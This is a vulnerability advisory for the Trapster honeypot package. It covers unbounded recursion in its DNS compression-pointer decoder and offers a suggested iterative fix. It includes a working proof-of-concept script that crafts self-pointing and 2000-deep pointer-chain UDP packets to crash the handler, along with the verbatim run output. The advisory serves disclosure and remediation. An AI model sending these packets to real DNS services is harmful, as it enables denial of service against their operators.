PT-2026-61034 · Pypi · Trapster

Published

2026-07-08

·

Updated

2026-07-08

CVSS v3.1

5.3

Medium

VectorAV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Summary

trapster.libs.dns.decode labels() decodes DNS names from attacker-supplied UDP packets and recurses once per RFC 1035 compression pointer with no cycle detection and no depth bound. A single unauthenticated UDP datagram sent to the DNS honeypot drives the function past CPython's recursion limit, raising RecursionError. That exception is not handled anywhere on the datagram received path, so it escapes into the asyncio event loop's default exception handler, the per-packet proxy task is never created, and a low-rate flood produces sustained CPU burn and log flooding (denial of service of the DNS honeypot module).

Severity

Medium (CVSS:3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L). Network-reachable, unauthenticated, single-packet, availability-only against the DNS honeypot listener.

Affected component

  • File: trapster/libs/dns.py, function decode labels() (called by decode question section → decode dns message).
  • Reached from: trapster/modules/dns.py, DnsUdpProtocol.datagram received() → dns.decode dns message(data), where data is the raw attacker UDP payload received by DnsHoneypot on its configured bind address/port.
  • Version tested: latest main at commit 23156739de23816657cbc4582ad32094ed1cab43.

Details

decode labels implements RFC 1035 §4.1.4 name compression:
python
def decode labels(message, offset):
  labels = []
  while True:
    length, = struct.unpack from("!B", message, offset)
    if (length & 0xC0) == 0xC0:
      pointer, = struct.unpack from("!H", message, offset)
      offset += 2
      return labels + decode labels(message, pointer & 0x3FFF), offset  # <-- recurses per pointer
    ...
Each compression pointer triggers a fresh recursive call to decode labels. There is:
  • No cycle detection — a pointer that targets its own offset recurses forever.
  • No depth bound — a chain of distinct forward pointers recurses once per pointer.
Either shape exhausts the Python stack and raises RecursionError. decode dns message does not catch it, and in DnsUdpProtocol.datagram received the call dns.decode dns message(data) is unguarded, so the exception propagates out of datagram received into the event loop. Each hostile packet therefore aborts its own packet-handling/proxy task, and the loop's default exception handler logs a full traceback for every packet.
This is the same class of bug fixed upstream in python-zeroconf (compression-pointer recursion), except this implementation additionally lacks the loop/cycle guard that zeroconf already had.

Proof of Concept

Real-deploy E2E. The actual trapster.modules.dns.DnsHoneypot server is started on a real UDP socket; hostile packets are sent from a separate real client socket over loopback. The event-loop exception handler records what escapes datagram received.
e2e poc.py:
python
import asyncio, struct, socket, sys
from trapster.modules.dns import DnsHoneypot
from trapster.logger.base import BaseLogger

HOST, PORT = "127.0.0.1", 15353
captured loop exceptions = []

def build benign query(qname=b"example.com"):
  header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
  labels = b"".join(struct.pack("!B", len(p)) + p for p in qname.split(b".")) + b"x00"
  return header + labels + struct.pack("!2H", 1, 1)

def build self pointer():
  header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
  name = struct.pack("!H", 0xC000 | 12)  # pointer to offset 12 == this name
  return header + name + struct.pack("!2H", 1, 1)

def build pointer chain(depth=2000):
  header = struct.pack("!6H", 0x1234, 0x0100, 1, 0, 0, 0)
  name = struct.pack("!H", 0xC000 | 18)
  qtail = struct.pack("!2H", 1, 1)
  chain = bytearray()
  for i in range(depth):
    chain += struct.pack("!H", 0xC000 | (18 + 2 * (i + 1)))
  chain += b"x00"
  return header + name + qtail + bytes(chain)

def send udp(payload, timeout=1.0):
  s = socket.socket(socket.AF INET, socket.SOCK DGRAM); s.settimeout(timeout)
  s.sendto(payload, (HOST, PORT))
  try: return s.recvfrom(4096)[0]
  except socket.timeout: return None
  finally: s.close()

async def main():
  loop = asyncio.get running loop()
  def handler(loopobj, context):
    exc = context.get("exception")
    captured loop exceptions.append((repr(exc), context.get("message")))
    print(f"[loop-exception-handler] {type(exc). name  if exc else None}: {context.get('message')}")
  loop.set exception handler(handler)

  hp = DnsHoneypot(config={"port": PORT, "target dns": "127.0.0.1"},
           logger=BaseLogger(node id="e2e"), bindaddr=HOST)
  await hp.start(); await asyncio.sleep(0.4)
  print(f"[deploy] DnsHoneypot listening on udp://{HOST}:{PORT}
")

  print("=== NEGATIVE CONTROL: benign query example.com A ===")
  captured loop exceptions.clear(); send udp(build benign query()); await asyncio.sleep(0.3)
  print(f" loop exceptions after benign packet: {len(captured loop exceptions)}")
  assert len(captured loop exceptions) == 0
  print(" -> benign packet parsed cleanly, no exception
")

  print("=== VECTOR A: single self-referential compression pointer (cycle) ===")
  captured loop exceptions.clear(); pkt = build self pointer()
  print(f" packet ({len(pkt)} bytes) name field = pointer 0xC00C -> offset 12 (itself)")
  send udp(pkt); await asyncio.sleep(0.5)
  print(f" loop exceptions captured: {len(captured loop exceptions)}")
  for e in captured loop exceptions: print(f"  {e}")
  assert any("RecursionError" in e[0] for e in captured loop exceptions)
  print(" -> RecursionError escaped datagram received (DoS, no cycle guard)
")

  print("=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===")
  captured loop exceptions.clear(); pkt = build pointer chain(2000)
  print(f" packet ({len(pkt)} bytes) = 2000-deep forward pointer chain")
  send udp(pkt); await asyncio.sleep(0.5)
  print(f" loop exceptions captured: {len(captured loop exceptions)}")
  for e in captured loop exceptions: print(f"  {e}")
  assert any("RecursionError" in e[0] for e in captured loop exceptions)
  print(" -> RecursionError escaped datagram received (DoS, no depth bound)
")

  await hp.stop(); print("ALL ASSERTIONS PASSED")

if  name  == " main ":
  sys.setrecursionlimit(1000)
  asyncio.run(main())
Verbatim run against the deployed honeypot at commit 23156739de23816657cbc4582ad32094ed1cab43:
[deploy] DnsHoneypot listening on udp://127.0.0.1:15353

=== NEGATIVE CONTROL: benign query example.com A ===
 loop exceptions after benign packet: 0
 -> benign packet parsed cleanly, no exception

=== VECTOR A: single self-referential compression pointer (cycle) ===
 packet (18 bytes) name field = pointer 0xC00C -> offset 12 (itself)
[loop-exception-handler] RecursionError: Exception in callback SelectorDatagramTransport. read ready()
 loop exceptions captured: 1
  ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback SelectorDatagramTransport. read ready()')
 -> RecursionError escaped datagram received (DoS, no cycle guard)

=== VECTOR B: 2000 chained forward compression pointers (zeroconf shape) ===
 packet (4019 bytes) = 2000-deep forward pointer chain
[loop-exception-handler] RecursionError: Exception in callback SelectorDatagramTransport. read ready()
 loop exceptions captured: 1
  ("RecursionError('maximum recursion depth exceeded in comparison')", 'Exception in callback SelectorDatagramTransport. read ready()')
 -> RecursionError escaped datagram received (DoS, no depth bound)

ALL ASSERTIONS PASSED
The negative control (a well-formed example.com A query) parses with zero exceptions, confirming the crash is specific to the malformed compression input.

Impact

Any host able to send UDP to the DNS honeypot's bind address/port (unauthenticated, no UI) can crash the per-packet handler with a single ~18-byte datagram. A low-rate flood (a few packets per second) keeps the event loop logging full tracebacks and burning CPU, degrading the DNS honeypot and its logging pipeline. Availability impact only; no memory disclosure or code execution.

Suggested fix

Make decode labels iterative-bounded: require every compression pointer to point strictly backward to a not-yet-visited offset, which bounds both cycles and long forward chains in O(message length) with no recursion. (This mirrors dnspython's biggest pointer design and the zeroconf depth-bound fix.) Replace the bare raise "unknown label encoding" with a real exception, and consider wrapping dns.decode dns message(data) in DnsUdpProtocol.datagram received in a try/except so a malformed packet is logged once rather than escaping to the loop handler.
Verified fix (benign + legitimate backward-compression names still decode; both hostile vectors are bounded to ValueError with no recursion):
python
def decode labels(message, offset):
  labels = []
  return offset = None
  max allowed pointer = len(message)
  while True:
    length, = struct.unpack from("!B", message, offset)
    if (length & 0xC0) == 0xC0:
      pointer, = struct.unpack from("!H", message, offset)
      if return offset is None:
        return offset = offset + 2
      target = pointer & 0x3FFF
      if target >= max allowed pointer:
        raise ValueError("invalid DNS compression pointer")
      max allowed pointer = target
      offset = target
      continue
    if (length & 0xC0) != 0x00:
      raise ValueError("unknown label encoding")
    offset += 1
    if length == 0:
      return labels, return offset if return offset is not None else offset
    labels.append(*struct.unpack from("!%ds" % length, message, offset))
    try:
      labels[-1] = labels[-1].decode()
    except UnicodeDecodeError:
      labels[-1] = str(labels[-1])
    offset += length
A fix PR will be supplied from a temporary private fork during the embargo.

Credit

Discovered and reported by tonghuaroot.

Fix

Uncontrolled Recursion

Found an issue in the description? Have something to add? Feel free to write us 👾
dbugs@ptsecurity.com

Weakness Enumeration

CWE-674

Related Identifiers

GHSA-MXWC-WH95-PW4G

Affected Products

Trapster